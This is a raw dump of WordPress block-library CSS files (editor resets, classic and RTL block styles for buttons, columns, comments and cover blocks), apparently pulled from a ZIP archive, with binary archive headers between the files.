:where(.editor-styles-wrapper) h1,:where(.editor-styles-wrapper) h2,:where(.editor-styles-wrapper) h3,:where(.editor-styles-wrapper) h4,:where(.editor-styles-wrapper) h5,:where(.editor-styles-wrapper) h6{
  color:revert;
  font-size:revert;
  font-weight:revert;
  line-height:revert;
  margin:revert;
}
:where(.editor-styles-wrapper) select{
  -webkit-appearance:revert;
  background:revert;
  border:revert;
  border-radius:revert;
  box-shadow:revert;
  color:revert;
  cursor:revert;
  font-family:system-ui;
  font-size:revert;
  font-weight:revert;
  line-height:revert;
  margin:revert;
  max-width:revert;
  min-height:revert;
  outline:revert;
  padding:revert;
  text-shadow:revert;
  transform:revert;
  vertical-align:revert;
}
:where(.editor-styles-wrapper) select:disabled,:where(.editor-styles-wrapper) select:focus{
  background-color:revert;
  background-image:revert;
  border-color:revert;
  box-shadow:revert;
  color:revert;
  cursor:revert;
  text-shadow:revert;
  transform:revert;
}PK1Xd[Pf����&dist/block-library/classic-rtl.min.cssnu�[���.wp-block-button__link{background-color:#32373c;border-radius:9999px;box-shadow:none;color:#fff;font-size:1.125em;padding:calc(.667em + 2px) calc(1.333em + 2px);text-decoration:none}.wp-block-file__button{background:#32373c;color:#fff}PK1Xd[qf�HNN.dist/block-library/editor-elements-rtl.min.cssnu�[���.wp-element-button{cursor:revert}.wp-element-button[role=textbox]{cursor:text}PK1Xd[\������ dist/block-library/style-rtl.cssnu�[���@charset "UTF-8";

.wp-block-archives{
  box-sizing:border-box;
}

.wp-block-archives-dropdown label{
  display:block;
}

.wp-block-avatar{
  line-height:0;
}
.wp-block-avatar,.wp-block-avatar img{
  box-sizing:border-box;
}
.wp-block-avatar.aligncenter{
  text-align:center;
}

.wp-block-audio{
  box-sizing:border-box;
}
.wp-block-audio :where(figcaption){
  margin-bottom:1em;
  margin-top:.5em;
}
.wp-block-audio audio{
  min-width:300px;
  width:100%;
}

.wp-block-button__link{
  align-content:center;
  box-sizing:border-box;
  cursor:pointer;
  display:inline-block;
  height:100%;
  text-align:center;
  word-break:break-word;
}
.wp-block-button__link.aligncenter{
  text-align:center;
}
.wp-block-button__link.alignright{
  text-align:right;
}

:where(.wp-block-button__link){
  border-radius:9999px;
  box-shadow:none;
  padding:calc(.667em + 2px) calc(1.333em + 2px);
  text-decoration:none;
}

.wp-block-button[style*=text-decoration] .wp-block-button__link{
  text-decoration:inherit;
}

.wp-block-buttons>.wp-block-button.has-custom-width{
  max-width:none;
}
.wp-block-buttons>.wp-block-button.has-custom-width .wp-block-button__link{
  width:100%;
}
.wp-block-buttons>.wp-block-button.has-custom-font-size .wp-block-button__link{
  font-size:inherit;
}
.wp-block-buttons>.wp-block-button.wp-block-button__width-25{
  width:calc(25% - var(--wp--style--block-gap, .5em)*.75);
}
.wp-block-buttons>.wp-block-button.wp-block-button__width-50{
  width:calc(50% - var(--wp--style--block-gap, .5em)*.5);
}
.wp-block-buttons>.wp-block-button.wp-block-button__width-75{
  width:calc(75% - var(--wp--style--block-gap, .5em)*.25);
}
.wp-block-buttons>.wp-block-button.wp-block-button__width-100{
  flex-basis:100%;
  width:100%;
}

.wp-block-buttons.is-vertical>.wp-block-button.wp-block-button__width-25{
  width:25%;
}
.wp-block-buttons.is-vertical>.wp-block-button.wp-block-button__width-50{
  width:50%;
}
.wp-block-buttons.is-vertical>.wp-block-button.wp-block-button__width-75{
  width:75%;
}

.wp-block-button.is-style-squared,.wp-block-button__link.wp-block-button.is-style-squared{
  border-radius:0;
}

.wp-block-button.no-border-radius,.wp-block-button__link.no-border-radius{
  border-radius:0 !important;
}

:root :where(.wp-block-button .wp-block-button__link.is-style-outline),:root :where(.wp-block-button.is-style-outline>.wp-block-button__link){
  border:2px solid;
  padding:.667em 1.333em;
}
:root :where(.wp-block-button .wp-block-button__link.is-style-outline:not(.has-text-color)),:root :where(.wp-block-button.is-style-outline>.wp-block-button__link:not(.has-text-color)){
  color:currentColor;
}
:root :where(.wp-block-button .wp-block-button__link.is-style-outline:not(.has-background)),:root :where(.wp-block-button.is-style-outline>.wp-block-button__link:not(.has-background)){
  background-color:initial;
  background-image:none;
}

.wp-block-buttons{
  box-sizing:border-box;
}
.wp-block-buttons.is-vertical{
  flex-direction:column;
}
.wp-block-buttons.is-vertical>.wp-block-button:last-child{
  margin-bottom:0;
}
.wp-block-buttons>.wp-block-button{
  display:inline-block;
  margin:0;
}
.wp-block-buttons.is-content-justification-left{
  justify-content:flex-start;
}
.wp-block-buttons.is-content-justification-left.is-vertical{
  align-items:flex-start;
}
.wp-block-buttons.is-content-justification-center{
  justify-content:center;
}
.wp-block-buttons.is-content-justification-center.is-vertical{
  align-items:center;
}
.wp-block-buttons.is-content-justification-right{
  justify-content:flex-end;
}
.wp-block-buttons.is-content-justification-right.is-vertical{
  align-items:flex-end;
}
.wp-block-buttons.is-content-justification-space-between{
  justify-content:space-between;
}
.wp-block-buttons.aligncenter{
  text-align:center;
}
.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block-button.aligncenter{
  margin-left:auto;
  margin-right:auto;
  width:100%;
}
.wp-block-buttons[style*=text-decoration] .wp-block-button,.wp-block-buttons[style*=text-decoration] .wp-block-button__link{
  text-decoration:inherit;
}
.wp-block-buttons.has-custom-font-size .wp-block-button__link{
  font-size:inherit;
}
.wp-block-buttons .wp-block-button__link{
  width:100%;
}

.wp-block-button.aligncenter,.wp-block-calendar{
  text-align:center;
}
.wp-block-calendar td,.wp-block-calendar th{
  border:1px solid;
  padding:.25em;
}
.wp-block-calendar th{
  font-weight:400;
}
.wp-block-calendar caption{
  background-color:inherit;
}
.wp-block-calendar table{
  border-collapse:collapse;
  width:100%;
}
.wp-block-calendar table:where(:not(.has-text-color)){
  color:#40464d;
}
.wp-block-calendar table:where(:not(.has-text-color)) td,.wp-block-calendar table:where(:not(.has-text-color)) th{
  border-color:#ddd;
}
.wp-block-calendar table.has-background th{
  background-color:inherit;
}
.wp-block-calendar table.has-text-color th{
  color:inherit;
}

:where(.wp-block-calendar table:not(.has-background) th){
  background:#ddd;
}

.wp-block-categories{
  box-sizing:border-box;
}
.wp-block-categories.alignleft{
  margin-right:2em;
}
.wp-block-categories.alignright{
  margin-left:2em;
}
.wp-block-categories.wp-block-categories-dropdown.aligncenter{
  text-align:center;
}
.wp-block-categories .wp-block-categories__label{
  display:block;
  width:100%;
}

.wp-block-code{
  box-sizing:border-box;
}
.wp-block-code code{
  direction:ltr;
  display:block;
  font-family:inherit;
  overflow-wrap:break-word;
  text-align:initial;
  white-space:pre-wrap;
}

.wp-block-columns{
  align-items:normal !important;
  box-sizing:border-box;
  display:flex;
  flex-wrap:wrap !important;
}
@media (min-width:782px){
  .wp-block-columns{
    flex-wrap:nowrap !important;
  }
}
.wp-block-columns.are-vertically-aligned-top{
  align-items:flex-start;
}
.wp-block-columns.are-vertically-aligned-center{
  align-items:center;
}
.wp-block-columns.are-vertically-aligned-bottom{
  align-items:flex-end;
}
@media (max-width:781px){
  .wp-block-columns:not(.is-not-stacked-on-mobile)>.wp-block-column{
    flex-basis:100% !important;
  }
}
@media (min-width:782px){
  .wp-block-columns:not(.is-not-stacked-on-mobile)>.wp-block-column{
    flex-basis:0;
    flex-grow:1;
  }
  .wp-block-columns:not(.is-not-stacked-on-mobile)>.wp-block-column[style*=flex-basis]{
    flex-grow:0;
  }
}
.wp-block-columns.is-not-stacked-on-mobile{
  flex-wrap:nowrap !important;
}
.wp-block-columns.is-not-stacked-on-mobile>.wp-block-column{
  flex-basis:0;
  flex-grow:1;
}
.wp-block-columns.is-not-stacked-on-mobile>.wp-block-column[style*=flex-basis]{
  flex-grow:0;
}

:where(.wp-block-columns){
  margin-bottom:1.75em;
}

:where(.wp-block-columns.has-background){
  padding:1.25em 2.375em;
}

.wp-block-column{
  flex-grow:1;
  min-width:0;
  overflow-wrap:break-word;
  word-break:break-word;
}
.wp-block-column.is-vertically-aligned-top{
  align-self:flex-start;
}
.wp-block-column.is-vertically-aligned-center{
  align-self:center;
}
.wp-block-column.is-vertically-aligned-bottom{
  align-self:flex-end;
}
.wp-block-column.is-vertically-aligned-stretch{
  align-self:stretch;
}
.wp-block-column.is-vertically-aligned-bottom,.wp-block-column.is-vertically-aligned-center,.wp-block-column.is-vertically-aligned-top{
  width:100%;
}
.wp-block-post-comments{
  box-sizing:border-box;
}
.wp-block-post-comments .alignleft{
  float:right;
}
.wp-block-post-comments .alignright{
  float:left;
}
.wp-block-post-comments .navigation:after{
  clear:both;
  content:"";
  display:table;
}
.wp-block-post-comments .commentlist{
  clear:both;
  list-style:none;
  margin:0;
  padding:0;
}
.wp-block-post-comments .commentlist .comment{
  min-height:2.25em;
  padding-right:3.25em;
}
.wp-block-post-comments .commentlist .comment p{
  font-size:1em;
  line-height:1.8;
  margin:1em 0;
}
.wp-block-post-comments .commentlist .children{
  list-style:none;
  margin:0;
  padding:0;
}
.wp-block-post-comments .comment-author{
  line-height:1.5;
}
.wp-block-post-comments .comment-author .avatar{
  border-radius:1.5em;
  display:block;
  float:right;
  height:2.5em;
  margin-left:.75em;
  margin-top:.5em;
  width:2.5em;
}
.wp-block-post-comments .comment-author cite{
  font-style:normal;
}
.wp-block-post-comments .comment-meta{
  font-size:.875em;
  line-height:1.5;
}
.wp-block-post-comments .comment-meta b{
  font-weight:400;
}
.wp-block-post-comments .comment-meta .comment-awaiting-moderation{
  display:block;
  margin-bottom:1em;
  margin-top:1em;
}
.wp-block-post-comments .comment-body .commentmetadata{
  font-size:.875em;
}
.wp-block-post-comments .comment-form-author label,.wp-block-post-comments .comment-form-comment label,.wp-block-post-comments .comment-form-email label,.wp-block-post-comments .comment-form-url label{
  display:block;
  margin-bottom:.25em;
}
.wp-block-post-comments .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments .comment-form textarea{
  box-sizing:border-box;
  display:block;
  width:100%;
}
.wp-block-post-comments .comment-form-cookies-consent{
  display:flex;
  gap:.25em;
}
.wp-block-post-comments .comment-form-cookies-consent #wp-comment-cookies-consent{
  margin-top:.35em;
}
.wp-block-post-comments .comment-reply-title{
  margin-bottom:0;
}
.wp-block-post-comments .comment-reply-title :where(small){
  font-size:var(--wp--preset--font-size--medium, smaller);
  margin-right:.5em;
}
.wp-block-post-comments .reply{
  font-size:.875em;
  margin-bottom:1.4em;
}
.wp-block-post-comments input:not([type=submit]),.wp-block-post-comments textarea{
  border:1px solid #949494;
  font-family:inherit;
  font-size:1em;
}
.wp-block-post-comments input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments textarea{
  padding:calc(.667em + 2px);
}

:where(.wp-block-post-comments input[type=submit]){
  border:none;
}

.wp-block-comments{
  box-sizing:border-box;
}

.wp-block-comments-pagination>.wp-block-comments-pagination-next,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers,.wp-block-comments-pagination>.wp-block-comments-pagination-previous{
  font-size:inherit;
  margin-bottom:.5em;
  margin-right:.5em;
}
.wp-block-comments-pagination>.wp-block-comments-pagination-next:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-previous:last-child{
  margin-right:0;
}
.wp-block-comments-pagination .wp-block-comments-pagination-previous-arrow{
  display:inline-block;
  margin-left:1ch;
}
.wp-block-comments-pagination .wp-block-comments-pagination-previous-arrow:not(.is-arrow-chevron){
  transform:scaleX(-1);;
}
.wp-block-comments-pagination .wp-block-comments-pagination-next-arrow{
  display:inline-block;
  margin-right:1ch;
}
.wp-block-comments-pagination .wp-block-comments-pagination-next-arrow:not(.is-arrow-chevron){
  transform:scaleX(-1);;
}
.wp-block-comments-pagination.aligncenter{
  justify-content:center;
}

.wp-block-comment-template{
  box-sizing:border-box;
  list-style:none;
  margin-bottom:0;
  max-width:100%;
  padding:0;
}
.wp-block-comment-template li{
  clear:both;
}
.wp-block-comment-template ol{
  list-style:none;
  margin-bottom:0;
  max-width:100%;
  padding-right:2rem;
}
.wp-block-comment-template.alignleft{
  float:right;
}
.wp-block-comment-template.aligncenter{
  margin-left:auto;
  margin-right:auto;
  width:fit-content;
}
.wp-block-comment-template.alignright{
  float:left;
}

.wp-block-comment-date{
  box-sizing:border-box;
}

.comment-awaiting-moderation{
  display:block;
  font-size:.875em;
  line-height:1.5;
}

.wp-block-comment-author-name,.wp-block-comment-content,.wp-block-comment-edit-link,.wp-block-comment-reply-link{
  box-sizing:border-box;
}

.wp-block-cover,.wp-block-cover-image{
  align-items:center;
  background-position:50%;
  box-sizing:border-box; direction:ltr;
  display:flex;
  justify-content:center;
  min-height:430px;
  overflow:hidden;
  overflow:clip;
  padding:1em;
  position:relative;
}
.wp-block-cover .has-background-dim:not([class*=-background-color]),.wp-block-cover-image .has-background-dim:not([class*=-background-color]),.wp-block-cover-image.has-background-dim:not([class*=-background-color]),.wp-block-cover.has-background-dim:not([class*=-background-color]){
  background-color:#000;
}
.wp-block-cover .has-background-dim.has-background-gradient,.wp-block-cover-image .has-background-dim.has-background-gradient{
  background-color:initial;
}
.wp-block-cover-image.has-background-dim:before,.wp-block-cover.has-background-dim:before{
  background-color:inherit;
  content:"";
}
.wp-block-cover .wp-block-cover__background,.wp-block-cover .wp-block-cover__gradient-background,.wp-block-cover-image .wp-block-cover__background,.wp-block-cover-image .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim:not(.has-background-gradient):before,.wp-block-cover.has-background-dim:not(.has-background-gradient):before{
  bottom:0;
  left:0;
  opacity:.5;
  position:absolute;
  right:0;
  top:0;
}
.wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-10:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-10:not(.has-background-gradient):before{
  opacity:.1;
}
.wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-20:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-20:not(.has-background-gradient):before{
  opacity:.2;
}
.wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-30:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-30:not(.has-background-gradient):before{
  opacity:.3;
}
.wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-40:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-40:not(.has-background-gradient):before{
  opacity:.4;
}
.wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-50:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-50:not(.has-background-gradient):before{
  opacity:.5;
}
.wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-60:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-60:not(.has-background-gradient):before{
  opacity:.6;
}
.wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-70:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-70:not(.has-background-gradient):before{
  opacity:.7;
}
.wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-80:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-80:not(.has-background-gradient):before{
  opacity:.8;
}
.wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-90:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-90:not(.has-background-gradient):before{
  opacity:.9;
}
.wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-100:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-100 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-100:not(.has-background-gradient):before{
  opacity:1;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-0,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-0,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-0,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-0{
  opacity:0;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-10,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-10,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-10,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-10{
  opacity:.1;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-20,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-20,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-20,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-20{
  opacity:.2;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-30,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-30,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-30,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-30{
  opacity:.3;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-40,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-40,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-40,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-40{
  opacity:.4;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-50,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-50,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-50,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-50{
  opacity:.5;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-60,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-60,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-60,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-60{
  opacity:.6;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-70,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-70,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-70,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-70{
  opacity:.7;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-80,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-80,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-80,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-80{
  opacity:.8;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-90,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-90,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-90,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-90{
  opacity:.9;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-100,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-100,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-100,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-100{
  opacity:1;
}
.wp-block-cover-image.alignleft,.wp-block-cover-image.alignright,.wp-block-cover.alignleft,.wp-block-cover.alignright{
  max-width:420px;
  width:100%;
}
.wp-block-cover-image.aligncenter,.wp-block-cover-image.alignleft,.wp-block-cover-image.alignright,.wp-block-cover.aligncenter,.wp-block-cover.alignleft,.wp-block-cover.alignright{
  display:flex;
}
.wp-block-cover .wp-block-cover__inner-container,.wp-block-cover-image .wp-block-cover__inner-container{
  color:inherit; direction:rtl;
  position:relative;
  width:100%;
}
.wp-block-cover-image.is-position-top-left,.wp-block-cover.is-position-top-left{
  align-items:flex-start;
  justify-content:flex-start;
}
.wp-block-cover-image.is-position-top-center,.wp-block-cover.is-position-top-center{
  align-items:flex-start;
  justify-content:center;
}
.wp-block-cover-image.is-position-top-right,.wp-block-cover.is-position-top-right{
  align-items:flex-start;
  justify-content:flex-end;
}
.wp-block-cover-image.is-position-center-left,.wp-block-cover.is-position-center-left{
  align-items:center;
  justify-content:flex-start;
}
.wp-block-cover-image.is-position-center-center,.wp-block-cover.is-position-center-center{
  align-items:center;
  justify-content:center;
}
.wp-block-cover-image.is-position-center-right,.wp-block-cover.is-position-center-right{
  align-items:center;
  justify-content:flex-end;
}
.wp-block-cover-image.is-position-bottom-left,.wp-block-cover.is-position-bottom-left{
  align-items:flex-end;
  justify-content:flex-start;
}
.wp-block-cover-image.is-position-bottom-center,.wp-block-cover.is-position-bottom-center{
  align-items:flex-end;
  justify-content:center;
}
.wp-block-cover-image.is-position-bottom-right,.wp-block-cover.is-position-bottom-right{
  align-items:flex-end;
  justify-content:flex-end;
}
.wp-block-cover-image.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container{
  margin:0;
}
.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-bottom-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-bottom-right .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-center-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-center-right .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-top-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-top-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-bottom-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-bottom-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-center-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-center-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-top-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-top-right .wp-block-cover__inner-container{
  margin:0;
  width:auto;
}
.wp-block-cover .wp-block-cover__image-background,.wp-block-cover video.wp-block-cover__video-background,.wp-block-cover-image .wp-block-cover__image-background,.wp-block-cover-image video.wp-block-cover__video-background{
  border:none;
  bottom:0;
  box-shadow:none;
  height:100%;
  left:0;
  margin:0;
  max-height:none;
  max-width:none;
  object-fit:cover;
  outline:none;
  padding:0;
  position:absolute;
  right:0;
  top:0;
  width:100%;
}

.wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{
  background-attachment:fixed;
  background-repeat:no-repeat;
  background-size:cover;
}
@supports (-webkit-touch-callout:inherit){
  .wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{
    background-attachment:scroll;
  }
}
@media (prefers-reduced-motion:reduce){
  .wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{
    background-attachment:scroll;
  }
}
.wp-block-cover-image.is-repeated,.wp-block-cover.is-repeated,.wp-block-cover__image-background.is-repeated,video.wp-block-cover__video-background.is-repeated{
  background-repeat:repeat;
  background-size:auto;
}
.wp-block-cover-image-text,.wp-block-cover-image-text a,.wp-block-cover-image-text a:active,.wp-block-cover-image-text a:focus,.wp-block-cover-image-text a:hover,.wp-block-cover-text,.wp-block-cover-text a,.wp-block-cover-text a:active,.wp-block-cover-text a:focus,.wp-block-cover-text a:hover,section.wp-block-cover-image h2,section.wp-block-cover-image h2 a,section.wp-block-cover-image h2 a:active,section.wp-block-cover-image h2 a:focus,section.wp-block-cover-image h2 a:hover{
  color:#fff;
}

.wp-block-cover-image .wp-block-cover.has-left-content{
  justify-content:flex-start;
}
.wp-block-cover-image .wp-block-cover.has-right-content{
  justify-content:flex-end;
}

.wp-block-cover-image.has-left-content .wp-block-cover-image-text,.wp-block-cover.has-left-content .wp-block-cover-text,section.wp-block-cover-image.has-left-content>h2{
  margin-right:0;
  text-align:right;
}

.wp-block-cover-image.has-right-content .wp-block-cover-image-text,.wp-block-cover.has-right-content .wp-block-cover-text,section.wp-block-cover-image.has-right-content>h2{
  margin-left:0;
  text-align:left;
}

.wp-block-cover .wp-block-cover-text,.wp-block-cover-image .wp-block-cover-image-text,section.wp-block-cover-image>h2{
  font-size:2em;
  line-height:1.25;
  margin-bottom:0;
  max-width:840px;
  padding:.44em;
  text-align:center;
  z-index:1;
}

:where(.wp-block-cover-image:not(.has-text-color)),:where(.wp-block-cover:not(.has-text-color)){
  color:#fff;
}

:where(.wp-block-cover-image.is-light:not(.has-text-color)),:where(.wp-block-cover.is-light:not(.has-text-color)){
  color:#000;
}

:root :where(.wp-block-cover h1:not(.has-text-color)),:root :where(.wp-block-cover h2:not(.has-text-color)),:root :where(.wp-block-cover h3:not(.has-text-color)),:root :where(.wp-block-cover h4:not(.has-text-color)),:root :where(.wp-block-cover h5:not(.has-text-color)),:root :where(.wp-block-cover h6:not(.has-text-color)),:root :where(.wp-block-cover p:not(.has-text-color)){
  color:inherit;
}
body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__image-background,body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__video-background{
  z-index:0;
}
body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__background,body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__gradient-background,body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__inner-container,body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)).has-background-dim:not(.has-background-gradient):before{
  z-index:1;
}
.has-modal-open body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__inner-container{
  z-index:auto;
}

.wp-block-details{
  box-sizing:border-box;
}

.wp-block-details summary{
  cursor:pointer;
}

.wp-block-embed.alignleft,.wp-block-embed.alignright,.wp-block[data-align=left]>[data-type="core/embed"],.wp-block[data-align=right]>[data-type="core/embed"]{
  max-width:360px;
  width:100%;
}
